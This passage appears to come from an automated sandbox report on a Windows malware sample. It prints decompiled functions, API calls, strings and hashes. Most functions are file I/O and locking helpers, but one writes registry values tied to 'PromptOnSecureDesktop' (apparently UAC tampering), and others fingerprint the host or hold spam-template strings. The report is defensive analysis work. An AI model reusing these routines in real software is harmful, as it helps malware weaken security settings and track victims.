				_v24.Offset = _v24.Offset & 0x00000000;
				_v24.OffsetHigh = _v24.OffsetHigh & 0x00000000;
				_t30 = _a12;
				_t31 = _a16;
				_a16 = _a16 & 0x00000000;
				_v24.hEvent = _t31;
				if(WriteFile(_a4, _a8, _t30,  &_a16,  &_v24) != 0) {
					L3:
					if(_t30 != _a16) {
						L5:
						return 0;
					}
					return 1;
				}
				if(GetLastError() != 0x3e5) {
					goto L5;
				}
				WaitForSingleObject(_t31, _a20);
				if(GetOverlappedResult(_a4,  &_v24,  &_a16, 0) == 0) {
					goto L5;
				}
				goto L3;
			}

0x00403f1e
0x00403f22
0x00403f27
0x00403f2b
0x00403f2e
0x00403f3e
0x00403f4c
0x00403f7c
0x00403f7f
0x00403f86
0x00000000
0x00403f86
0x00000000
0x00403f83
0x00403f59
0x00000000
0x00000000
0x00403f5f
0x00403f7a
0x00000000
0x00000000
0x00000000

APIs

WriteFile.KERNEL32(00000000,00000000,0040A3C7,00000000,00000000,000007D0,00000001), ref: 00403F44
GetLastError.KERNEL32 ref: 00403F4E
WaitForSingleObject.KERNEL32(00000004,?), ref: 00403F5F
GetOverlappedResult.KERNEL32(00000000,00000000,00000000,00000000), ref: 00403F72

Memory Dump Source

Source File: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.803213463.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_E2A6.jbxd

Yara matches

Similarity

API ID: ErrorFileLastObjectOverlappedResultSingleWaitWrite
String ID:
API String ID: 3373104450-0
Opcode ID: 9f1c12f5bce82851f463a843ee7e6df514edb3150162876966f253c0cf19dcdf
Instruction ID: 81d5a9f64dfd66904774ebc82d2e0e48c629fa8216d99cd76bf4a5dbd4e59073
Opcode Fuzzy Hash: 9f1c12f5bce82851f463a843ee7e6df514edb3150162876966f253c0cf19dcdf
Instruction Fuzzy Hash: B9010C7291110AABDF01DF90ED44BEF7B7CEB08356F104066FA01E2190D774DA558BB6

Uniqueness

Uniqueness Score: -1.00%

Function 00403F8C, Relevance: 6.0, APIs: 4, Instructions: 46
filesynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403F8C(void* _a4, void* _a8, long _a12, long _a16, long _a20) {
				struct _OVERLAPPED _v24;
				long _t30;
				void* _t31;

				_v24.Offset = _v24.Offset & 0x00000000;
				_v24.OffsetHigh = _v24.OffsetHigh & 0x00000000;
				_t30 = _a12;
				_t31 = _a16;
				_a16 = _a16 & 0x00000000;
				_v24.hEvent = _t31;
				if(ReadFile(_a4, _a8, _t30,  &_a16,  &_v24) != 0) {
					L3:
					if(_t30 != _a16) {
						L5:
						return 0;
					}
					return 1;
				}
				if(GetLastError() != 0x3e5) {
					goto L5;
				}
				WaitForSingleObject(_t31, _a20);
				if(GetOverlappedResult(_a4,  &_v24,  &_a16, 0) == 0) {
					goto L5;
				}
				goto L3;
			}

0x00403f92
0x00403f96
0x00403f9b
0x00403f9f
0x00403fa2
0x00403fb2
0x00403fc0
0x00403ff0
0x00403ff3
0x00403ffa
0x00000000
0x00403ffa
0x00000000
0x00403ff7
0x00403fcd
0x00000000
0x00000000
0x00403fd3
0x00403fee
0x00000000
0x00000000
0x00000000

APIs

ReadFile.KERNEL32(00000000,00000000,0040A3C7,00000000,00000000,000007D0,00000001), ref: 00403FB8
GetLastError.KERNEL32 ref: 00403FC2
WaitForSingleObject.KERNEL32(00000004,?), ref: 00403FD3
GetOverlappedResult.KERNEL32(00000000,00000000,00000000,00000000), ref: 00403FE6

Memory Dump Source

Source File: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.803213463.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_E2A6.jbxd

Yara matches

Similarity

API ID: ErrorFileLastObjectOverlappedReadResultSingleWait
String ID:
API String ID: 888215731-0
Opcode ID: 7dacf77ebfc6f27f1d23b030b7b6a0e1e1f459510f641919a7ac9d23c17bf39a
Instruction ID: 44fd539f7a3468c5635e20a1652967c761b46accf60e77792ab8a53432005efc
Opcode Fuzzy Hash: 7dacf77ebfc6f27f1d23b030b7b6a0e1e1f459510f641919a7ac9d23c17bf39a
Instruction Fuzzy Hash: A601177291110AAFDF01DF90ED45BEF3B7CEF08356F004062F906E2090D7749A549BA6

Uniqueness

Uniqueness Score: -1.00%

Function 0040A4C7, Relevance: 6.0, APIs: 4, Instructions: 27
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040A4C7(intOrPtr _a4) {
				long _t3;
				LONG* _t8;
				long _t9;

				_t9 = GetTickCount();
				_t8 = _a4 + 0x5c;
				while(1) {
					_t3 = InterlockedExchange(_t8, 1);
					if(_t3 == 0) {
						break;
					}
					_t3 = GetTickCount() - _t9;
					if(_t3 < 0x1388) {
						Sleep(0);
						continue;
					}
					break;
				}
				return _t3;
			}

0x0040a4dd
0x0040a4df
0x0040a4f7
0x0040a4fa
0x0040a4fe
0x00000000
0x00000000
0x0040a4e6
0x0040a4ed
0x0040a4f1
0x00000000
0x0040a4f1
0x00000000
0x0040a4ed
0x0040a504

APIs

GetTickCount.KERNEL32 ref: 0040A4D1
GetTickCount.KERNEL32 ref: 0040A4E4
Sleep.KERNEL32(00000000,?,0040C2E9,0040C4E0,00000000,localcfg,?,0040C4E0,00413588,00408810), ref: 0040A4F1
InterlockedExchange.KERNEL32(?,00000001), ref: 0040A4FA

Memory Dump Source

Source File: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.803213463.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_E2A6.jbxd

Yara matches

Similarity

API ID: CountTick$ExchangeInterlockedSleep
String ID:
API String ID: 2207858713-0
Opcode ID: 4cd0520482080c365333fb8aab0c55e365768e1349ae612301bcb729eb943e51
Instruction ID: a5473328a7e7118e9aede6741b06156156ec1e7733dd8d1ec56465b12724d56e
Opcode Fuzzy Hash: 4cd0520482080c365333fb8aab0c55e365768e1349ae612301bcb729eb943e51
Instruction Fuzzy Hash: 7DE0863720131567C6005BA5BD84FAA7B98AB4D761F164072FB08E3280D6AAA99145BF

Uniqueness

Uniqueness Score: -1.00%

Function 00404E92, Relevance: 6.0, APIs: 4, Instructions: 27
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404E92(void* __ecx) {
				long _t2;
				void* _t7;
				LONG* _t8;
				long _t9;

				_t7 = __ecx;
				_t9 = GetTickCount();
				_t8 = _t7 + 4;
				while(1) {
					_t2 = InterlockedExchange(_t8, 1);
					if(_t2 == 0) {
						break;
					}
					_t2 = GetTickCount() - _t9;
					if(_t2 < 0x2710) {
						Sleep(0xa);
						continue;
					}
					break;
				}
				return _t2;
			}

0x00404e9c
0x00404ea6
0x00404ea8
0x00404ec0
0x00404ec3
0x00404ec7
0x00000000
0x00000000
0x00404eaf
0x00404eb6
0x00404eba
0x00000000
0x00404eba
0x00000000
0x00404eb6
0x00404ecd

APIs

GetTickCount.KERNEL32 ref: 00404E9E
GetTickCount.KERNEL32 ref: 00404EAD
Sleep.KERNEL32(0000000A,?,00000001), ref: 00404EBA
InterlockedExchange.KERNEL32(?,00000001), ref: 00404EC3

Memory Dump Source

Source File: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.803213463.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_E2A6.jbxd

Yara matches

Similarity

API ID: CountTick$ExchangeInterlockedSleep
String ID:
API String ID: 2207858713-0
Opcode ID: 574f7709b1251d8d4516fda0e718bcbaf1509578ef326d685951742d25275ed5
Instruction ID: 0be737a4b1ecb403dd0b6a084e6b0260aeafc6613011e157a8d43e60cd200510
Opcode Fuzzy Hash: 574f7709b1251d8d4516fda0e718bcbaf1509578ef326d685951742d25275ed5
Instruction Fuzzy Hash: 6AE086B620121457D61027B9FD84F966A89AB9A361F010532F70DE21C0C6AA989345FD

Uniqueness

Uniqueness Score: -1.00%

Function 00404BD1, Relevance: 6.0, APIs: 4, Instructions: 27
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404BD1(void* __ecx) {
				long _t2;
				void* _t7;
				LONG* _t8;
				long _t9;

				_t7 = __ecx;
				_t9 = GetTickCount();
				_t8 = _t7 + 0xc;
				while(1) {
					_t2 = InterlockedExchange(_t8, 1);
					if(_t2 == 0) {
						break;
					}
					_t2 = GetTickCount() - _t9;
					if(_t2 < 0x1388) {
						Sleep(0);
						continue;
					}
					break;
				}
				return _t2;
			}

0x00404bdb
0x00404be5
0x00404be7
0x00404bff
0x00404c02
0x00404c06
0x00000000
0x00000000
0x00404bee
0x00404bf5
0x00404bf9
0x00000000
0x00404bf9
0x00000000
0x00404bf5
0x00404c0c

APIs

GetTickCount.KERNEL32 ref: 00404BDD
GetTickCount.KERNEL32 ref: 00404BEC
Sleep.KERNEL32(00000000,?,?,?,00000004,004050F2), ref: 00404BF9
InterlockedExchange.KERNEL32(-00000008,00000001), ref: 00404C02

Memory Dump Source

Source File: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.803213463.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_E2A6.jbxd

Yara matches

Similarity

API ID: CountTick$ExchangeInterlockedSleep
String ID:
API String ID: 2207858713-0
Opcode ID: 1ad869c4a91a2c80201434bef060b196597965ff38d45849583c02ff4b747b44
Instruction ID: c27c4130c4fb343c81443d6f5f76baf76a02980c1ff66e5fdc0d00212ab38f61
Opcode Fuzzy Hash: 1ad869c4a91a2c80201434bef060b196597965ff38d45849583c02ff4b747b44
Instruction Fuzzy Hash: FCE0867624521457D61027A66D80FA67BA89B99361F064073F70CE2190C9AAE48141BD

Uniqueness

Uniqueness Score: -1.00%

Function 004030FA, Relevance: 6.0, APIs: 4, Instructions: 23
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004030FA(LONG* _a4) {
				long _t3;
				long _t5;

				_t5 = GetTickCount();
				while(1) {
					_t3 = InterlockedExchange(_a4, 1);
					if(_t3 == 0) {
						break;
					}
					_t3 = GetTickCount() - _t5;
					if(_t3 < 0x1388) {
						Sleep(0);
						continue;
					}
					break;
				}
				return _t3;
			}

0x0040310b
0x00403122
0x00403128
0x0040312c
0x00000000
0x00000000
0x00403111
0x00403118
0x0040311c
0x00000000
0x0040311c
0x00000000
0x00403118
0x00403131

APIs

GetTickCount.KERNEL32 ref: 00403103
GetTickCount.KERNEL32 ref: 0040310F
Sleep.KERNEL32(00000000), ref: 0040311C
InterlockedExchange.KERNEL32(?,00000001), ref: 00403128

Memory Dump Source

Source File: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.803213463.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_E2A6.jbxd

Yara matches

Similarity

API ID: CountTick$ExchangeInterlockedSleep
String ID:
API String ID: 2207858713-0
Opcode ID: 5475aadbbb6481cfb66701b566d3724b8cf1f0baef2ba10e865a3ab4c750e63b
Instruction ID: 9edc608f4d32da9f9de986fa19dd3c9deb40157c310ade5cfb00ff6fe32d5b40
Opcode Fuzzy Hash: 5475aadbbb6481cfb66701b566d3724b8cf1f0baef2ba10e865a3ab4c750e63b
Instruction Fuzzy Hash: 51E0C235200215ABDB00AF75BD44B8A6E9EDF8C762F014432F205EA1E0C9F44D51897A

Uniqueness

Uniqueness Score: -1.00%

Function 0040E177, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 148
fileCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E0040E177(signed int _a4, long _a8) {
				void* _v8;
				void* _v12;
				void* __ecx;
				void* _t31;
				void* _t34;
				intOrPtr* _t36;
				void* _t38;
				intOrPtr* _t41;
				void* _t43;
				void* _t46;
				void* _t47;
				void* _t57;
				void* _t58;
				void* _t67;
				void* _t68;
				void* _t72;
				void* _t77;

				_push(_t58);
				_push(_t58);
				if(_a8 != 0) {
					L2:
					if( *0x4136c0 == 0) {
						L20:
						_t31 = 1;
						L21:
						return _t31;
					}
					if((_a4 & 0x00000001) != 0) {
						_t46 = E0040DFE2(_t58, 1,  &_v8,  &_a8);
						_t67 = _t67 + 0xc;
						if(_t46 != 0) {
							_t81 = _a8;
							if(_a8 != 0) {
								_t47 = E0040DBCF(_t81, 0x40000000, 2);
								_pop(_t58);
								_v12 = _t47;
								if(_t47 != 0xffffffff) {
									_t57 = _v8;
									if(_t57 != 0 && _a8 != 0) {
										E00402544(_t57, _t57, _a8, 0xe4, 0xc8);
										_t67 = _t67 + 0x14;
										if(WriteFile(_v12, _t57, _a8,  &_a8, 0) != 0) {
											 *0x4136c0 =  *0x4136c0 & 0x00000000;
										}
									}
									CloseHandle(_v12);
								}
							}
						}
					}
					if((_a4 & 0x00000002) == 0) {
						L19:
						goto L20;
					}
					_t34 = E0040DFE2(_t58, 2,  &_v8,  &_a8);
					_t68 = _t67 + 0xc;
					if(_t34 == 0 || _a8 == 0) {
						goto L19;
					} else {
						E00402544(_v8, _v8, _a8, 0xe4, 0xc8);
						_t36 = E00402544(0x4128f8, 0x4110d0, 7, 0xe4, 0xc8);
						_t38 = E0040E095(0x80000001, E00402544(0x4122f8, 0x4110bc, 0x14, 0xe4, 0xc8), _t36, _v8, _a8);
						_t72 = _t68 + 0x50;
						if(_t38 != 0) {
							L17:
							 *0x4136c0 =  *0x4136c0 & 0x00000000;
							L18:
							E0040EE2A(_t58, 0x4122f8, 0, 0x100);
							E0040EE2A(_t58, 0x4128f8, 0, 0x100);
							goto L19;
						}
						_t41 = E00402544(0x4128f8, 0x4110d0, 7, 0xe4, 0xc8);
						_t43 = E0040E095(0x80000001, E00402544(0x4122f8, 0x4110a0, 0x19, 0xe4, 0xc8), _t41, _v8, _a8);
						_t72 = _t72 + 0x3c;
						if(_t43 == 0) {
							goto L18;
						}
						goto L17;
					}
				}
				_t31 = 1;
				_t77 =  *0x4120ec - _t31; // 0x1
				if(_t77 != 0) {
					goto L21;
				}
				goto L2;
			}

0x0040e17a
0x0040e17b
0x0040e182
0x0040e193
0x0040e199
0x0040e312
0x0040e314
0x0040e315
0x0040e317
0x0040e317
0x0040e1ad
0x0040e1b9
0x0040e1be
0x0040e1c3
0x0040e1c5
0x0040e1c8
0x0040e1d1
0x0040e1d7
0x0040e1d8
0x0040e1de
0x0040e1e0
0x0040e1e5
0x0040e1f4
0x0040e1f9
0x0040e211
0x0040e213
0x0040e213
0x0040e211
0x0040e21d
0x0040e21d
0x0040e1de
0x0040e1c8
0x0040e1c3
0x0040e227
0x0040e310
0x00000000
0x0040e311
0x0040e237
0x0040e23c
0x0040e241
0x00000000
0x0040e251
0x0040e25c
0x0040e278
0x0040e29e
0x0040e2a3
0x0040e2a8
0x0040e2eb
0x0040e2eb
0x0040e2f2
0x0040e2fb
0x0040e308
0x00000000
0x0040e30d
0x0040e2be
0x0040e2df
0x0040e2e4
0x0040e2e9
0x00000000
0x00000000
0x00000000
0x0040e2e9
0x0040e241
0x0040e186
0x0040e187
0x0040e18d
0x00000000
0x00000000
0x00000000

APIs

WriteFile.KERNEL32(00000001,0040DAE0,00000000,00000000,00000000), ref: 0040E209
CloseHandle.KERNEL32(00000001,00000003), ref: 0040E21D

Part of subcall function 0040E095: RegCreateKeyExA.ADVAPI32(80000001,0040E2A3,00000000,00000000,00000000,00020106,00000000,0040E2A3,00000000,000000E4), ref: 0040E0B2
Part of subcall function 0040E095: RegSetValueExA.ADVAPI32(0040E2A3,?,00000000,00000003,80000001,000FF000,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 0040E127
Part of subcall function 0040E095: RegDeleteValueA.ADVAPI32(0040E2A3,?,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 0040E158
Part of subcall function 0040E095: RegCloseKey.ADVAPI32(0040E2A3,?,?,?,?,000000C8,PromptOnSecureDesktop,?,?,?,?,?,?,?,?,0040E2A3), ref: 0040E161

Strings

PromptOnSecureDesktop, xrefs: 0040E28A, 0040E28F, 0040E2D0, 0040E2FA

Memory Dump Source

Source File: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.803213463.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_E2A6.jbxd

Yara matches

Similarity

API ID: CloseValue$CreateDeleteFileHandleWrite
String ID: PromptOnSecureDesktop
API String ID: 4151426672-2980165447
Opcode ID: b35f9f727470473fe34b0fcdae204b38b052469ea0fd64ba9bdd2db24e4b8a6b
Instruction ID: b34283ca0245a4d5345772c7626065eb71a791ff6ac24fd5689ebe733b27dfc9
Opcode Fuzzy Hash: b35f9f727470473fe34b0fcdae204b38b052469ea0fd64ba9bdd2db24e4b8a6b
Instruction Fuzzy Hash: 5D41DB71940214BADB205E938C06FDB3F6CEB44754F1084BEFA09B41D2E6B99A60D6BD

Uniqueness

Uniqueness Score: -1.00%

Function 00408CEE, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E00408CEE() {
				intOrPtr* _v8;
				intOrPtr _v12;
				long _t15;
				char _t17;
				intOrPtr _t19;
				intOrPtr* _t20;
				void* _t25;
				signed int _t31;
				signed char _t35;
				signed int _t36;
				char* _t41;
				intOrPtr* _t42;
				signed int _t45;

				_push(_t34);
				_t31 = 0;
				if( *0x413380 == 0) {
					L17:
					return _t15;
				}
				_t15 = GetTickCount() -  *0x413388;
				if(_t15 < 0xea60) {
					goto L17;
				}
				_t41 =  *0x413380;
				_t17 =  *_t41;
				_t45 =  *(_t41 + 1);
				_t42 = _t41 + 5;
				_v12 = _t17;
				if(_t17 <= 0) {
					L16:
					_t15 = GetTickCount();
					 *0x413388 = _t15;
					goto L17;
				} else {
					_v8 = _t42;
					do {
						_t35 =  *_v8;
						if(_t35 != 8) {
							if(_t35 != 9) {
								_t36 = _t35;
								_t19 =  *((intOrPtr*)(0x413300 + _t36 * 4));
								if(_t19 == 0) {
									goto L12;
								}
								_t9 = _t19 + 0x34; // 0x3b10c483
								if(_t36 ==  *_t9) {
									_t13 = _t19 + 0x50; // 0x7486850
									_t20 =  *_t13;
									if(_t20 != 0) {
										 *_t20(_t45 >>  *(_t31 * 5 + _t42) & 0x00000001);
									}
									goto L16;
								}
								goto L12;
							}
							_t25 = E0040A688(_t45 >> _t35 & 0x00000001);
							L8:
							if(_t25 != 0) {
								_t6 = _v8 + 1; // 0x3cc6
								_t45 = _t45 |  *_t6;
							}
							goto L12;
						}
						_t25 = E0040A677(_t45 >> _t35 & 0x00000001);
						goto L8;
						L12:
						_v8 = _v8 + 5;
						_t31 = _t31 + 1;
					} while (_t31 < _v12);
					goto L16;
				}
			}

0x00408cf2
0x00408cf4
0x00408cfc
0x00408dae
0x00408db0
0x00408db0
0x00408d08
0x00408d13
0x00000000
0x00000000
0x00408d1b
0x00408d21
0x00408d24
0x00408d27
0x00408d2a
0x00408d2f
0x00408da1
0x00408da1
0x00408da8
0x00000000
0x00408d31
0x00408d31
0x00408d34
0x00408d37
0x00408d3c
0x00408d50
0x00408d6c
0x00408d6f
0x00408d78
0x00000000
0x00000000
0x00408d7a
0x00408d7d
0x00408d8b
0x00408d8b
0x00408d90
0x00408d9e
0x00408da0
0x00000000
0x00408d90
0x00000000
0x00408d7d
0x00408d5a
0x00408d5f
0x00408d62
0x00408d67
0x00408d67
0x00408d67
0x00000000
0x00408d62
0x00408d46
0x00000000
0x00408d7f
0x00408d7f
0x00408d83
0x00408d84
0x00000000
0x00408d89

APIs

GetTickCount.KERNEL32 ref: 00408D02
GetTickCount.KERNEL32 ref: 00408DA1

Strings

localcfg, xrefs: 00408D19

Memory Dump Source

Source File: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.803213463.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_E2A6.jbxd

Yara matches

Similarity

API ID: CountTick
String ID: localcfg
API String ID: 536389180-1857712256
Opcode ID: f778bec48d6853c61bba66ff70abee8b380bd23c812c2bd80f901189d0bf267b
Instruction ID: 1ef816322ecc1e041cdf399b9b138f6358d408137adc4a714cdb07e14db9ba06
Opcode Fuzzy Hash: f778bec48d6853c61bba66ff70abee8b380bd23c812c2bd80f901189d0bf267b
Instruction Fuzzy Hash: 0821C631610115AFCB109F64DE8169ABBB9EF20311B25427FD881F72D1DF38E940875C

Uniqueness

Uniqueness Score: -1.00%

Function 00429071, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00429124

Strings

jjj, xrefs: 004290C0
t/j, xrefs: 00429111

Memory Dump Source

Source File: 00000013.00000002.803277603.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_415000_E2A6.jbxd

Similarity

API ID: _strlen
String ID: jjj$t/j
API String ID: 4218353326-194299851
Opcode ID: 9469947c48448293481fc662af6fba1eef5ff6d1bb32a070c13b1c0bb17627f4
Instruction ID: 9ad816c0fdfac3d3f2e6b137b8a2b8b0cb840b46659f2d1a1fe528fbe56d679e
Opcode Fuzzy Hash: 9469947c48448293481fc662af6fba1eef5ff6d1bb32a070c13b1c0bb17627f4
Instruction Fuzzy Hash: A821D374B0011DFBEB24CF99F949BAD3370EB04304FA4816BE50593290E3799E60CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 0040BFCE, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0040BFD0
wsprintfA.USER32 ref: 0040C060

Strings

Type = %d: works = %d cur_thr = %d num_thr = %d integr = %d integr_nl = %d fCntrl = %d time_ok_filt = %d cntr = %d time_nl_filt = %d last_time_work = %d last_time_getem = %d last_time_calc = %d last_time_nl, xrefs: 0040C057

Memory Dump Source

Source File: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.803213463.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_E2A6.jbxd

Yara matches

Similarity

API ID: CountTickwsprintf
String ID: Type = %d: works = %d cur_thr = %d num_thr = %d integr = %d integr_nl = %d fCntrl = %d time_ok_filt = %d cntr = %d time_nl_filt = %d last_time_work = %d last_time_getem = %d last_time_calc = %d last_time_nl
API String ID: 2424974917-1012700906
Opcode ID: 06c76dfdee32e392c5b9e14bf2ce1b6ffedea00b213a31f1363bbf4a57a4f60a
Instruction ID: 59a0723085258e1b6130595cff45262f63c8180c8ffe05f2a9b9c441a6a96c57
Opcode Fuzzy Hash: 06c76dfdee32e392c5b9e14bf2ce1b6ffedea00b213a31f1363bbf4a57a4f60a
Instruction Fuzzy Hash: 53115672200100FFDB529BA9DD44E567FA6FB88319B3491ACF6188A166D633D863EB50

Uniqueness

Uniqueness Score: -1.00%

Function 004038F0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55
threadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004038F0(void* __ecx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				signed int _t29;
				intOrPtr _t43;
				intOrPtr _t45;
				intOrPtr _t50;

				if(_a8 <= 0) {
					L14:
					return _t29;
				}
				_t29 = E004030FA(0x412c00);
				_v8 = 0;
				if(_a8 <= 0) {
					L13:
					 *0x412c00 =  *0x412c00 & 0x00000000;
					goto L14;
				} else {
					do {
						_t50 =  *((intOrPtr*)( *((intOrPtr*)(_a4 + _v8 * 4))));
						_t45 =  *((intOrPtr*)(_t50 - 0x24));
						if( *((intOrPtr*)(_t50 - 0x14)) != GetCurrentThreadId()) {
							_t10 = _t50 - 0x1c;
							 *_t10 =  *(_t50 - 0x1c) - 1;
							if( *_t10 < 0) {
								 *(_t50 - 0x1c) =  *(_t50 - 0x1c) & 0x00000000;
							}
							 *((intOrPtr*)(_t50 - 0x14)) = GetCurrentThreadId();
						}
						 *((intOrPtr*)(_t50 - 0xc)) =  *((intOrPtr*)(_t50 - 0xc)) + 1;
						if( *((intOrPtr*)(_t50 - 0xc)) >=  *((intOrPtr*)(_t50 - 8))) {
							_t43 = 2;
							 *((intOrPtr*)(_t50 - 0x20)) = _t43;
							 *((intOrPtr*)(_t45 + 0x10)) =  *((intOrPtr*)(_t45 + 0x10)) + 1;
							_t34 =  *((intOrPtr*)(_t45 + 0x10));
							if( *((intOrPtr*)(_t45 + 0x10)) >=  *((intOrPtr*)(_t45 + 0x14))) {
								 *((intOrPtr*)(_t45 + 8)) = _t43;
								if( *0x412bfc == 0) {
									E00406509(_t34);
									 *0x412bfc = 1;
								}
							}
						}
						_v8 = _v8 + 1;
						_t29 = _v8;
					} while (_t29 < _a8);
					goto L13;
				}
			}

0x004038fa
0x00403989
0x0040398b
0x0040398b
0x00403905
0x0040390b
0x00403911
0x00403982
0x00403982
0x00000000
0x00403913
0x0040391b
0x00403924
0x00403926
0x0040392e
0x00403930
0x00403930
0x00403933
0x00403935
0x00403935
0x0040393b
0x0040393b
0x0040393e
0x00403947
0x0040394b
0x0040394c
0x0040394f
0x00403952
0x00403958
0x0040395a
0x00403964
0x00403966
0x0040396b
0x0040396b
0x00403964
0x00403958
0x00403975
0x00403978
0x0040397b
0x00000000
0x00403981

APIs

Part of subcall function 004030FA: GetTickCount.KERNEL32 ref: 00403103
Part of subcall function 004030FA: InterlockedExchange.KERNEL32(?,00000001), ref: 00403128

GetCurrentThreadId.KERNEL32 ref: 00403929
GetCurrentThreadId.KERNEL32 ref: 00403939

Strings

%FROM_EMAIL, xrefs: 00403913

Memory Dump Source

Source File: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.803213463.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_E2A6.jbxd

Yara matches

Similarity

API ID: CurrentThread$CountExchangeInterlockedTick
String ID: %FROM_EMAIL
API String ID: 3716169038-2903620461
Opcode ID: ef9999c53fb079ee60b66104ed5eee9301c2c40c50ee899f7204c173007e787c
Instruction ID: b7f4056d5a805f6dc72f55654bcd4db07a73235d6c8b9c95532e416c15eafef7
Opcode Fuzzy Hash: ef9999c53fb079ee60b66104ed5eee9301c2c40c50ee899f7204c173007e787c
Instruction Fuzzy Hash: 7B113DB5900214EFD720DF16D581A5DF7F8FB05716F11856EE844A7291C7B8AB80CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 00401B71, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E00401B71() {
				long _v8;
				long _v12;
				void* _v27;
				char _v28;
				signed int _t12;
				signed int _t28;

				_v28 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosw");
				_v8 = 0;
				asm("stosb");
				_v12 = 0xf;
				_t12 = E00401AC3();
				GetComputerNameA( &_v28,  &_v12);
				GetVolumeInformationA(0, 0, 4,  &_v8, 0, 0, 0, 0);
				_t28 = (_v28 ^ _v8 ^ _t12) & 0x7fffffff;
				_v8 = _t28;
				if(_t28 == 0) {
					return E0040ECA5() & 0x7fffffff;
				}
				return _t28;
			}

0x00401b7e
0x00401b84
0x00401b85
0x00401b86
0x00401b87
0x00401b89
0x00401b8c
0x00401b8d
0x00401b94
0x00401ba3
0x00401bb8
0x00401bc8
0x00401bca
0x00401bcd
0x00000000
0x00401bd8
0x00000000

APIs

Part of subcall function 00401AC3: LoadLibraryA.KERNEL32(Iphlpapi.dll,00000000,localcfg,?,hi_id,?,?,?,?,00000001), ref: 00401AD4
Part of subcall function 00401AC3: GetProcAddress.KERNEL32(00000000,GetAdaptersAddresses), ref: 00401AE9

GetComputerNameA.KERNEL32 ref: 00401BA3
GetVolumeInformationA.KERNEL32(00000000,00000000,00000004,00401EFD,00000000,00000000,00000000,00000000), ref: 00401BB8

Strings

localcfg, xrefs: 00401B7B

Memory Dump Source

Source File: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.803213463.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_E2A6.jbxd

Yara matches

Similarity

API ID: AddressComputerInformationLibraryLoadNameProcVolume
String ID: localcfg
API String ID: 2777991786-1857712256
Opcode ID: 347cd581b463f90e4869c942ce5ddbd7b1215e33c70616b3ab33c256474cc11e
Instruction ID: 3328142983dde5627d9ce9a8d7cd594e0c2b91da8c15a082e229c164244e8f4a
Opcode Fuzzy Hash: 347cd581b463f90e4869c942ce5ddbd7b1215e33c70616b3ab33c256474cc11e
Instruction Fuzzy Hash: BE018BB2D0010CBFEB009BE9CC819EFFABCAB48754F150072A601F3190E6746E084AA1

Uniqueness

Uniqueness Score: -1.00%

Function 0040AB81, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44
stringCOMMON

Download Yara Rule

C-Code - Quality: 54%

